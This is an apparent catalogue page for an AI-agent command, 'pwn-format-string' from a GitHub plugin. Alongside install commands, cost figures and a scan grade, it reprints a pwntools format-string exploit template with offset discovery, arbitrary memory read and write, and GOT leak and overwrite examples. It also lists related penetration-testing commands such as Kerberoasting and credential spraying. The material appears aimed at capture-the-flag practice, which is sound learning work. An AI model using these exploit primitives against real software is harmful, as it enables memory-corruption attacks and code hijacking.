Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add commands/allsmog/pwn-claude-plugin/pwn-format-stringgit clone --depth 1 https://github.com/allsmog/pwn-claude-pluginWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/commands/allsmog/pwn-claude-plugin/pwn-format-string)<a href="https://agentmods.dev/commands/allsmog/pwn-claude-plugin/pwn-format-string"><img src="https://agentmods.dev/badge/commands/allsmog/pwn-claude-plugin/pwn-format-string.svg" alt="Measured on agentmods" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00014 | $0.01030 |
| Opus 5 | $0.00007 | $0.00515 |
| Sonnet 5 | $0.00003 | $0.00206 |
| Haiku 4.5 | $0.00001 | $0.00103 |
Grade A, and why
pwn-format-string scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
How it starts
The opening of the file, as written. The whole thing — 154 lines — stays where its author put it; the contents beside it link to each section on GitHub.
PWN Format String - Format String Exploit Template
Generate a format string exploit for arbitrary read and write operations.
Execution Steps
Step 1: Identify Format String Offset
Find offset where input appears on stack:
for i in range(1, 30):
print(f"Testing offset {i}")
# Send: AAAA%{i}$p
# Look for 0x41414141 in output
Step 2: Generate Template
Create exploit with read and write primitives.
Generated Template
#!/usr/bin/env python3
"""
Format String Exploit Template
Target: <binary>
Vulnerability: printf(user_input) without format specifier
"""
from pwn import *
# === CONFIGURATION ===
BINARY = './<binary>'
FMT_OFFSET = <offset> # Offset where input appears on stack
# === SETUP ===
elf = ELF(BINARY)
context.binary = elf
def conn():
if args.REMOTE:
return remote(args.HOST, int(args.PORT))
elif args.GDB:
return gdb.debug(BINARY, 'b printf\\nc')
else:
return process(BINARY)
# === PRIMITIVES ===
def leak(addr):
"""Leak memory at address using format string"""
io = conn()
# %s reads string at address on stack
# Place address at correct offset, then dereference
payload = f'%{FMT_OFFSET + 1}$s'.encode()
payload = payload.ljust(8, b'\\x00')
payload += p64(addr)
io.sendline(payload)
return io.recvline()
def arbitrary_write(addr, value):
"""Write value to address using %n"""
io = conn()
writes = {addr: value}
payload = fmtstr_payload(FMT_OFFSET, writes)
io.sendline(payload)
return io
def find_offset():
"""Find format string offset"""
for i in range(1, 50):
io = conn()
io.sendline(f'AAAA%{i}$p'.encode())
resp = io.recvline()
if b'0x41414141' in resp:
log.success(f"Offset found: {i}")
return i
io.close()
log.error("Offset not found")
def main():
# === FIND OFFSET (run once) ===
# offset = find_offset()
# print(f"Offset: {offset}")
io = conn()
# === EXAMPLE: LEAK GOT ENTRY ===
# payload = f'%{FMT_OFFSET}$s'.encode().ljust(8, b'\\x00')
# payload += p64(elf.got['puts'])
# io.sendline(payload)
# leak = u64(io.recv(6).ljust(8, b'\\x00'))
# log.success(f"puts@libc: {hex(leak)}")
# === EXAMPLE: OVERWRITE GOT ===
# writes = {elf.got['exit']: elf.symbols['win']}
# payload = fmtstr_payload(FMT_OFFSET, writes)
# io.sendline(payload)
# === EXAMPLE: LEAK STACK VALUES ===
payload = b''
for i in range(1, 20):
payload += f'%{i}$p '.encode()
io.sendline(payload)
print(io.recvline())
io.interactive()
if __name__ == '__main__':
main()
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 6d ago First seen · 154 lines · 14 tokens per session scan A b26f847e296f
pwn-format-string is a command published in the GitHub repository allsmog/pwn-claude-plugin (2 stars, last pushed 6mo ago), licensed MIT. It adds 14 tokens to every session and 1,030 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.
Other commands, from other repositories
bb-ad
Active Directory enumeration and attack techniques. Includes LDAP enumeration, Kerberos attacks (Kerberoasting, AS-REP Roasting), SMB attacks, and domain privilege escalation. Use this when targeting Windows domain environments.
bb-enum
Service-specific enumeration based on discovered ports. Automatically selects appropriate enumeration techniques for each service. Use after /bb-recon to deeply enumerate discovered services.
bb-setup
Verify penetration testing environment and tool installation. Use this before starting an HTB machine to ensure all required tools are available.
bb-crack
Crack password hashes with automatic type detection and wordlist discovery. Supports MD5, SHA, NTLM, bcrypt, and more.
bb-spray
Credential spraying across discovered services.
bb-web
Comprehensive web application testing for HTTP/HTTPS services. Includes directory fuzzing, vulnerability scanning, technology fingerprinting, and common exploit checks. Use this when a web service is discovered.